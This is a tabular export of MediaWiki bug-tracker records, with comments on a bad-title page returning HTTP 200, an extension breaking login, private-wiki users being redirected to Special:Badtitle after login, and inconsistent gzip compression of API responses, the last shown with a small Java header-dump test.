Marked ""easy"" because hashar placed this on the http://www.mediawiki.org/wiki/Annoying_Little_Bug page.",,,1326410617,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ms5xok4m7r45ev4pesw2,task_subcomment,,True,c2,1,False,,,-85,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1904761904761907,0.8095238095238095,"**sumanah** wrote:

Marked ""easy"" because hashar placed this on the URL page."
161297,"""Bad title"" error page returns HTTP 200 OK instead of an error code","We could create a BadTitleError exception which would just call ErrorPageError( 'bad title', 'badtitletext' ) and set the 400 error code.",,,1326409662,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ms5xok4m7r45ev4pesw2,task_subcomment,,True,c2,1,True,,,-85,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,11.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,14.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.178571428571429,0.8928571428571429,"We could create a BadTitleError exception which would just call ErrorPageError( 'bad title', 'badtitletext' ) and set the 400 error code."
35609,NewUserMessage extensions breaks login,"I installed this extension and it works fine for a new user signing up, but it breaks login for existing users. Logging in as an existing user generates the error:

Login error
You have not specified a valid username.

Disabling the extension resolved the issue for me. This is using MediaWiki 1.18.0. Nothing showed up in the error log.

--------------------------
**Version**: unspecified
**Severity**: blocker",High,80.0,1326123000,1350964208.0,PHID-USER-m4lc24apros2wn24aqyu,False,,False,PHID-TASK-ses3qd5xfsiawguaqdlu,task_description,declined,True,c2,1,False,False,True,-86,True,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,9.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,1.0,2.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,11.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,9.0,1.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,1.0,7.0,0.0,0.0,0.0,4.080459770114943,0.6436781609195402,"I installed this extension and it works fine for a new user signing up, but it breaks login for existing users. Logging in as an existing user generates the error:

Login error
You have not specified a valid username.

Disabling the extension resolved the issue for me. This is using MediaWiki 1.18.0. Nothing showed up in the error log.

--------------------------
**Version**: unspecified
**Severity**: blocker"
159215,NewUserMessage extensions breaks login,"Sorry to go silent on this thread. I'm now using NewUserMessage on a number of wikis and indeed it works fine, with one exception. For some reason I have one instance where my user account (and seemingly no others) cannot log in if NewUserMessage is activated. If I deactivate it I can login. I'm not going to reopen this, I'll try to debug further. I'm very confused about what is happening.",,,1358809691,,PHID-USER-m4lc24apros2wn24aqyu,False,,,PHID-TASK-ses3qd5xfsiawguaqdlu,task_subcomment,,True,c2,1,False,,,-32,True,1.0,0.0,1.0,1.0,2.0,2.0,0.0,0.0,0.0,2.0,1.0,5.0,0.0,0.0,0.0,9.0,0.0,12.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,9.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,1.0,2.0,14.0,3.0,2.0,6.0,0.0,0.0,0.0,0.0,6.0,1.0,2.0,0.0,12.0,14.0,3.0,0.0,0.0,0.0,12.0,0.0,2.0,1.0,0.0,3.0,0.0,0.0,0.0,3.744186046511628,0.7093023255813954,"Sorry to go silent on this thread. I'm now using NewUserMessage on a number of wikis and indeed it works fine, with one exception. For some reason I have one instance where my user account (and seemingly no others) cannot log in if NewUserMessage is activated. If I deactivate it I can login. I'm not going to reopen this, I'll try to debug further. I'm very confused about what is happening."
159211,NewUserMessage extensions breaks login,"Unfortunately closing this report as no further information has been provided.

Jamie: Please feel free to reopen this report if you can provide the information asked for and if this still happens in a recent supported version (see http://www.mediawiki.org/wiki/Version_lifecycle ). Thanks!",,,1350964208,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ses3qd5xfsiawguaqdlu,task_subcomment,,True,c2,1,True,,,-45,True,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,4.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,11.0,4.0,2.0,13.0,0.0,0.0,2.0,0.0,9.0,2.0,0.0,0.0,2.0,13.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.404255319148936,0.8723404255319149,"Unfortunately closing this report as no further information has been provided.

Jamie: Please feel free to reopen this report if you can provide the information asked for and if this still happens in a recent supported version (see URL ). Thanks!"
159208,NewUserMessage extensions breaks login,"**AzianAlex** wrote:

Works fine for me too. Have you tried clearing your cache?",,,1337632645,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ses3qd5xfsiawguaqdlu,task_subcomment,,True,c2,1,False,,,-67,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,5.0,5.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,3.2857142857142856,0.8571428571428571,"**AzianAlex** wrote:

Works fine for me too. Have you tried clearing your cache?"
159204,NewUserMessage extensions breaks login,"**vivekee047** wrote:

This works fine for me. Can you check it once again please.
Thanks",,,1335110687,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ses3qd5xfsiawguaqdlu,task_subcomment,,True,c2,1,False,,,-71,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.2083333333333335,0.8333333333333334,"**vivekee047** wrote:

This works fine for me. Can you check it once again please.
Thanks"
34709,Private Wiki users are always taken to Special:Badtitle on successful login,"**Author:** `phil`

**Description:**
When visiting a private wiki, users are shown the message
'You must log in to view other pages'.
Because of the recent changes in 1.17.1 that hide page titles from users who don't have permission to see them,  the log in link now has a returnto of Special:BadTitle.

The net result is that when a legitimate user logs in, they are taken to the Badtitle error page, rather than to the Mainpage.

--------------------------
**Version**: 1.17.x
**Severity**: major",High,80.0,1322584260,1323897786.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ru77yevpygf73fu3u6a6,task_description,resolved,True,c2,1,False,False,True,-92,True,0.0,0.0,0.0,1.5,0.5,4.0,1.0,0.5,0.0,0.0,3.5,1.5,0.0,0.0,0.0,0.0,0.0,3.5,9.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,1.5,1.0,2.5,0.0,0.0,0.0,0.0,0.0,12.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,6.5,2.0,9.0,2.5,0.0,6.5,0.0,0.0,0.0,0.0,2.5,0.0,1.5,0.0,2.0,9.5,4.5,0.0,1.0,0.0,2.0,0.0,2.5,2.0,0.5,0.5,0.0,0.0,0.0,3.572316384180791,0.7307909604519774,"**Author:** CODE

**Description:**
When visiting a private wiki, users are shown the message
'You must log in to view other pages'.
Because of the recent changes in 1.17.1 that hide page titles from users who don't have permission to see them,  the log in link now has a returnto of Special:BadTitle.

The net result is that when a legitimate user logs in, they are taken to the Badtitle error page, rather than to the Mainpage.

--------------------------
**Version**: 1.17.x
**Severity**: major"
1732265,Private Wiki users are always taken to Special:Badtitle on successful login,,,,1622547563,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ru77yevpygf73fu3u6a6,task_subcomment,,True,c2,3,True,,,404,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
1732206,Private Wiki users are always taken to Special:Badtitle on successful login,,,,1622541546,,PHID-USER-hxlplcwwug73flheehfw,False,,,PHID-TASK-ru77yevpygf73fu3u6a6,task_subcomment,,True,c2,3,False,,,404,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
159924,Private Wiki users are always taken to Special:Badtitle on successful login,*** Bug 33130 has been marked as a duplicate of this bug. ***,,,1323902949,,PHID-USER-hwuumsjqciw7ji5qhpc7,False,,,PHID-TASK-ru77yevpygf73fu3u6a6,task_subcomment,,True,c2,1,False,,,-89,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 33130 has been marked as a duplicate of this bug. ***
159921,Private Wiki users are always taken to Special:Badtitle on successful login,Confirmed fixed!,,,1323897786,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-ru77yevpygf73fu3u6a6,task_subcomment,,True,c2,1,True,,,-89,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Confirmed fixed!
159918,Private Wiki users are always taken to Special:Badtitle on successful login,"Merged in production with r106206 and deployed by Roan a few minutes after.
The issue should have disappeared from office wiki for example.",,,1323897107,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ru77yevpygf73fu3u6a6,task_subcomment,,True,c2,1,True,,,-89,True,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,12.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,19.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.538461538461538,0.9615384615384616,"Merged in production with r106206 and deployed by Roan a few minutes after.
The issue should have disappeared from office wiki for example."
159915,Private Wiki users are always taken to Special:Badtitle on successful login,"Fixed in:
- REL1_17 with r106170
- REL1_18 with r106171

Pending code review.",,,1323855736,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ru77yevpygf73fu3u6a6,task_subcomment,,True,c2,1,True,,,-89,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.7777777777777777,0.8333333333333334,"Fixed in:
- REL1_17 with r106170
- REL1_18 with r106171

Pending code review."
159909,Private Wiki users are always taken to Special:Badtitle on successful login,"I am pretty sure we had some code to avoid returning to a badtitle and return to main_page instead. I must have skipped it while doing the backports.

Will poke this bug ASAP.",,,1323812259,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ru77yevpygf73fu3u6a6,task_subcomment,,True,c2,1,True,,,-90,True,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,11.0,0.0,3.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,11.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,3.891891891891892,0.8648648648648649,"I am pretty sure we had some code to avoid returning to a badtitle and return to main_page instead. I must have skipped it while doing the backports.

Will poke this bug ASAP."
159906,Private Wiki users are always taken to Special:Badtitle on successful login,"(In reply to comment #5)
> Notes from triage:
> 
> the 'You must log in to view other pages' message comes from
> OutputPage::showPermissionsErrorPage().
> 
> r104505 on trunk has a tweak in that function to grab the original title from
> $wgRequest's 'title' parameter.
> 
> The backports to 1.17, 1.18, and 1.18wmf1 don't appear to include this part, so
> presumably it's still pulling from the variable that's been replaced with
> Special:Badtitle.

Reassigning to Antoine since I think he did those backports.",,,1323734424,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-ru77yevpygf73fu3u6a6,task_subcomment,,True,c2,1,False,,,-90,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,10.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,36.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,5.0,10.0,24.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.3095238095238093,0.5,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Reassigning to Antoine since I think he did those backports."
159904,Private Wiki users are always taken to Special:Badtitle on successful login,"**trois.singes** wrote:

As for me, I *do* reproduce it on 1.18.0 release.",,,1323181115,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ru77yevpygf73fu3u6a6,task_subcomment,,True,c2,1,False,,,-91,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.909090909090909,0.7727272727272727,"**trois.singes** wrote:

As for me, I *do* reproduce it on 1.18.0 release."
159900,Private Wiki users are always taken to Special:Badtitle on successful login,"Notes from triage:

the 'You must log in to view other pages' message comes from OutputPage::showPermissionsErrorPage().

r104505 on trunk has a tweak in that function to grab the original title from $wgRequest's 'title' parameter.

The backports to 1.17, 1.18, and 1.18wmf1 don't appear to include this part, so presumably it's still pulling from the variable that's been replaced with Special:Badtitle.",,,1322861173,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-ru77yevpygf73fu3u6a6,task_subcomment,,True,c2,1,True,,,-91,True,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,6.0,1.0,7.0,0.0,1.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,0.0,2.0,14.0,5.0,0.0,5.0,0.0,2.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,4.192771084337349,0.7228915662650602,"Notes from triage:

the 'You must log in to view other pages' message comes from OutputPage::showPermissionsErrorPage().

r104505 on trunk has a tweak in that function to grab the original title from $wgRequest's 'title' parameter.

The backports to 1.17, 1.18, and 1.18wmf1 don't appear to include this part, so presumably it's still pulling from the variable that's been replaced with Special:Badtitle."
159897,Private Wiki users are always taken to Special:Badtitle on successful login,Almost certainly introduced in r104505.  Just need to fix in a way that doesn't reintroduce bug 32276,,,1322860638,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-ru77yevpygf73fu3u6a6,task_subcomment,,True,c2,1,False,,,-91,True,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,5.0,0.0,0.0,0.0,20.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,4.25,0.95,Almost certainly introduced in r104505.  Just need to fix in a way that doesn't reintroduce bug 32276
159892,Private Wiki users are always taken to Special:Badtitle on successful login,"Special:BadTitle gets passed as the 'returnto' parameter for the login link that's displayed in the page body content when unable to view a page due to permissions.

The login link in the personal bar at top of the screen still has the original page title.",,,1322860376,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-ru77yevpygf73fu3u6a6,task_subcomment,,True,c2,1,True,,,-91,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,15.0,0.0,6.0,2.0,0.0,15.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,4.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,4.018867924528302,0.7547169811320755,"Special:BadTitle gets passed as the 'returnto' parameter for the login link that's displayed in the page body content when unable to view a page due to permissions.

The login link in the personal bar at top of the screen still has the original page title."
159885,Private Wiki users are always taken to Special:Badtitle on successful login,"**olivier.beaton** wrote:

I am not able to reproduce this on 1.18.0 release or trunk 2011-11-29. However it occurs every single time on 1.17.1, all stock installs.",,,1322663395,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ru77yevpygf73fu3u6a6,task_subcomment,,True,c2,1,False,,,-91,True,5.0,0.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.58974358974359,0.8461538461538461,"**olivier.beaton** wrote:

I am not able to reproduce this on 1.18.0 release or trunk 2011-11-29. However it occurs every single time on 1.17.1, all stock installs."
159878,Private Wiki users are always taken to Special:Badtitle on successful login,"I get this on https://office.wikimedia.org/ as well, so the same bug hit 1.18. :P",,,1322613909,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-ru77yevpygf73fu3u6a6,task_subcomment,,True,c2,1,True,,,-91,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.625,1.0,"I get this on URL as well, so the same bug hit 1.18. :P"
33603,Regression: API categorymembers and login occasionally fails to gzip/compress responses,"While repeatedly fetching the URL

http://en.wikipedia.org/w/api.php?format=xml&action=query&list=categorymembers&cmtitle=Category:Candidates_for_speedy_deletion

with ""Accept-encoding: gzip"" set, occasionally (about 10% probability) I will receive a response that is uncompressed. I've received reports this also happens when using API login (see [[User talk:MER-C#Wiki.java...again]]).

Test code:

import java.io.*;
import java.net.*;

public class Blah
{
    public static void main(String[] args) throws IOException
    {
        for (int i = 0; i < 25; i++)
        {
            URLConnection connection = new URL(""http://en.wikipedia.org/w/api.php?format=xml&action=query&list=categorymembers&cmtitle=Category:Candidates_for_speedy_deletion"").openConnection();
            connection.setRequestProperty(""Accept-encoding"", ""gzip"");
            connection.setRequestProperty(""User-Agent"", ""Test script"");
            connection.connect();
            System.out.println(connection.getHeaderFields());
        }
    }
}

This merely dumps the HTTP headers. Sample output:

{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:48:51 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq38.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq38.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
